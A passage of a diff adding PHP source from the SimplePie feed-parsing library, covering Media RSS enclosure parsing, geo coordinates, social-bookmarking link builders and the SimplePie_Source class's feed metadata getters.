} + $copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label); + } + else + { + $copyrights = $copyrights_parent; + } + + // CREDITS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) + { + $credit_role = null; + $credit_scheme = null; + $credit_name = null; + if (isset($credit['attribs']['']['role'])) + { + $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($credit['attribs']['']['scheme'])) + { + $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $credit_scheme = 'urn:ebu'; + } + if (isset($credit['data'])) + { + $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name); + } + if (is_array($credits)) + { + $credits = array_values(SimplePie_Misc::array_unique($credits)); + } + } + else + { + $credits = $credits_parent; + } + + // DESCRIPTION + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) + { + $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $description = $description_parent; + } + + // HASHES + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) + { + $value = null; + $algo = null; + if (isset($hash['data'])) + { + $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($hash['attribs']['']['algo'])) + { + $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $algo = 'md5'; + } + $hashes[] = $algo.':'.$value; + } + if (is_array($hashes)) + { + $hashes = array_values(SimplePie_Misc::array_unique($hashes)); + } + } + else + { + $hashes = $hashes_parent; + } + + // KEYWORDS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) + { + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) + { + $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords[] = trim($word); + } + unset($temp); + } + if (is_array($keywords)) + { + $keywords = array_values(SimplePie_Misc::array_unique($keywords)); + } + } + else + { + $keywords = $keywords_parent; + } + + // PLAYER + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) + { + $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + $player = $player_parent; + } + + // RATINGS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) + { + $rating_scheme = null; + $rating_value = null; + if (isset($rating['attribs']['']['scheme'])) + { + $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $rating_scheme = 'urn:simple'; + } + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + } + if (is_array($ratings)) + { + $ratings = array_values(SimplePie_Misc::array_unique($ratings)); + } + } + else + { + $ratings = $ratings_parent; + } + + // RESTRICTIONS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) + { + $restriction_relationship = null; + $restriction_type = null; + $restriction_value = null; + if (isset($restriction['attribs']['']['relationship'])) + { + $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['attribs']['']['type'])) + { + $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['data'])) + { + $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + if (is_array($restrictions)) + { + $restrictions = array_values(SimplePie_Misc::array_unique($restrictions)); + } + } + else + { + $restrictions = $restrictions_parent; + } + + // THUMBNAILS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) + { + $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + if (is_array($thumbnails)) + { + $thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails)); + } + } + else + { + $thumbnails = $thumbnails_parent; + } + + // TITLES + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) + { + $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $title = $title_parent; + } + + $this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width); + } + } + } + + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) + { + if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') + { + // Attributes + $bitrate = null; + $channels = null; + $duration = null; + $expression = null; + $framerate = null; + $height = null; + $javascript = null; + $lang = null; + $length = null; + $medium = null; + $samplingrate = null; + $type = null; + $url = null; + $width = null; + + $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + if (isset($link['attribs']['']['type'])) + { + $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($link['attribs']['']['length'])) + { + $length = ceil($link['attribs']['']['length']); + } + + // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor + $this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width); + } + } + + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) + { + if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') + { + // Attributes + $bitrate = null; + $channels = null; + $duration = null; + $expression = null; + $framerate = null; + $height = null; + $javascript = null; + $lang = null; + $length = null; + $medium = null; + $samplingrate = null; + $type = null; + $url = null; + $width = null; + + $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + if (isset($link['attribs']['']['type'])) + { + $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($link['attribs']['']['length'])) + { + $length = ceil($link['attribs']['']['length']); + } + + // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor + $this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width); + } + } + + if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure')) + { + if (isset($enclosure[0]['attribs']['']['url'])) + { + // Attributes + $bitrate = null; + $channels = null; + $duration = null; + $expression = null; + $framerate = null; + $height = null; + $javascript = null; + $lang = null; + $length = null; + $medium = null; + $samplingrate = null; + $type = null; + $url = null; + $width = null; + + $url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0])); + if (isset($enclosure[0]['attribs']['']['type'])) + { + $type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($enclosure[0]['attribs']['']['length'])) + { + $length = ceil($enclosure[0]['attribs']['']['length']); + } + + // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor + $this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width); + } + } + + if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) + { + // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor + $this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width); + } + + $this->data['enclosures'] = array_values(SimplePie_Misc::array_unique($this->data['enclosures'])); + } + if (!empty($this->data['enclosures'])) + { + return $this->data['enclosures']; + } + else + { + return null; + } + } + + function get_latitude() + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) + { + return (float) $return[0]['data']; + } + elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match)) + { + return (float) $match[1]; + } + else + { + return null; + } + } + + function get_longitude() + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) + { + return (float) $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) + { + return (float) $return[0]['data']; + } + elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match)) + { + return (float) $match[2]; + } + else + { + return null; + } + } + + function get_source() + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source')) + { + return new $this->feed->source_class($this, $return[0]); + } + else + { + return null; + } + } + + /** + * Creates the add_to_* methods' return data + * + * @access private + * @param string $item_url String to prefix to the item permalink + * @param string $title_url String to prefix to the item title + * (and suffix to the item permalink) + * @return mixed URL if feed exists, false otherwise + */ + function add_to_service($item_url, $title_url = null, $summary_url = null) + { + if ($this->get_permalink() !== null) + { + $return = $item_url . rawurlencode($this->get_permalink()); + if ($title_url !== null && $this->get_title() !== null) + { + $return .= $title_url . rawurlencode($this->get_title()); + } + if ($summary_url !== null && $this->get_description() !== null) + { + $return .= $summary_url . rawurlencode($this->get_description()); + } + return $this->sanitize($return, SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + function add_to_blinklist() + { + return $this->add_to_service('http://www.blinklist.com/index.php?Action=Blink/addblink.php&Description=&Url=', '&Title='); + } + + function add_to_blogmarks() + { + return $this->add_to_service('http://blogmarks.net/my/new.php?mini=1&simple=1&url=', '&title='); + } + + function add_to_delicious() + { + return $this->add_to_service('http://del.icio.us/post/?v=4&url=', '&title='); + } + + function add_to_digg() + { + return $this->add_to_service('http://digg.com/submit?url=', '&title=', '&bodytext='); + } + + function add_to_furl() + { + return $this->add_to_service('http://www.furl.net/storeIt.jsp?u=', '&t='); + } + + function add_to_magnolia() + { + return $this->add_to_service('http://ma.gnolia.com/bookmarklet/add?url=', '&title='); + } + + function add_to_myweb20() + { + return $this->add_to_service('http://myweb2.search.yahoo.com/myresults/bookmarklet?u=', '&t='); + } + + function add_to_newsvine() + { + return $this->add_to_service('http://www.newsvine.com/_wine/save?u=', '&h='); + } + + function add_to_reddit() + { + return $this->add_to_service('http://reddit.com/submit?url=', '&title='); + } + + function add_to_segnalo() + { + return $this->add_to_service('http://segnalo.com/post.html.php?url=', '&title='); + } + + function add_to_simpy() + { + return $this->add_to_service('http://www.simpy.com/simpy/LinkAdd.do?href=', '&title='); + } + + function add_to_spurl() + { + return $this->add_to_service('http://www.spurl.net/spurl.php?v=3&url=', '&title='); + } + + function add_to_wists() + { + return $this->add_to_service('http://wists.com/r.php?c=&r=', '&title='); + } + + function search_technorati() + { + return $this->add_to_service('http://www.technorati.com/search/'); + } +} + +class SimplePie_Source +{ + var $item; + var $data = array(); + + function SimplePie_Source($item, $data) + { + $this->item = $item; + $this->data = $data; + } + + function __toString() + { + return md5(serialize($this->data)); + } + + function get_source_tags($namespace, $tag) + { + if (isset($this->data['child'][$namespace][$tag])) + { + return $this->data['child'][$namespace][$tag]; + } + else + { + return null; + } + } + + function get_base($element = array()) + { + return $this->item->get_base($element); + } + + function sanitize($data, $type, $base = '') + { + return $this->item->sanitize($data, $type, $base); + } + + function get_item() + { + return $this->item; + } + + function get_title() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_category($key = 0) + { + $categories = $this->get_categories(); + if (isset($categories[$key])) + { + return $categories[$key]; + } + else + { + return null; + } + } + + function get_categories() + { + $categories = array(); + + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['attribs']['']['term'])) + { + $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories[] =& new $this->item->feed->category_class($term, $scheme, $label); + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) + { + // This is really the label, but keep this as the term also for BC. + // Label will also work on retrieving because that falls back to term. + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + if (isset($category['attribs']['']['domain'])) + { + $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = null; + } + $categories[] =& new $this->item->feed->category_class($term, $scheme, null); + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) + { + $categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) + { + $categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + + if (!empty($categories)) + { + return SimplePie_Misc::array_unique($categories); + } + else + { + return null; + } + } + + function get_author($key = 0) + { + $authors = $this->get_authors(); + if (isset($authors[$key])) + { + return $authors[$key]; + } + else + { + return null; + } + } + + function get_authors() + { + $authors = array(); + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) + { + $name = null; + $uri = null; + $email = null; + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) + { + $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) + { + $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); + } + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) + { + $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $uri !== null) + { + $authors[] =& new $this->item->feed->author_class($name, $uri, $email); + } + } + if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) + { + $name = null; + $url = null; + $email = null; + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) + { + $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) + { + $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); + } + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) + { + $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $url !== null) + { + $authors[] =& new $this->item->feed->author_class($name, $url, $email); + } + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) + { + $authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) + { + $authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) + { + $authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + + if (!empty($authors)) + { + return SimplePie_Misc::array_unique($authors); + } + else + { + return null; + } + } + + function get_contributor($key = 0) + { + $contributors = $this->get_contributors(); + if (isset($contributors[$key])) + { + return $contributors[$key]; + } + else + { + return null; + } + } + + function get_contributors() + { + $contributors = array(); + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) + { + $name = null; + $uri = null; + $email = null; + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) + { + $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) + { + $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) + { + $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $uri !== null) + { + $contributors[] =& new $this->item->feed->author_class($name, $uri, $email); + } + } + foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) + { + $name = null; + $url = null; + $email = null; + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) + { + $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) + { + $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) + { + $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $url !== null) + { + $contributors[] =& new $this->item->feed->author_class($name, $url, $email); + } + } + + if (!empty($contributors)) + { + return SimplePie_Misc::array_unique($contributors); + } + else + { + return null; + } + } + + function get_link($key = 0, $rel = 'alternate') + { + $links = $this->get_links($rel); + if (isset($links[$key])) + { + return $links[$key]; + } + else + { + return null; + } + } + + /** + * Added for parity between the parent-level and the item/entry-level. + */ + function get_permalink() + { + return $this->get_link(0); + } + + function get_links($rel = 'alternate') + { + if (!isset($this->data['links'])) + { + $this->data['links'] = array(); + if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) + { + foreach ($links as $link) + { + if (isset($link['attribs']['']['href'])) + { + $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; + $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + } + } + } + if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) + { + foreach ($links as $link) + { + if (isset($link['attribs']['']['href'])) + { + $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; + $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + + } + } + } + if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + + $keys = array_keys($this->data['links']); + foreach ($keys as $key) + { + if (SimplePie_Misc::is_isegment_nz_nc($key)) + { + if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) + { + $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); + $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; + } + else + { + $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; + } + } + elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) + { + $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; + } + $this->data['links'][$key] = array_unique($this->data['links'][$key]); + } + } + + if (isset($this->data['links'][$rel])) + { + return $this->data['links'][$rel]; + } + else + { + return null; + } + } + + function get_description() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + else + { + return null; + } + } + + function get_copyright() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_language() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = 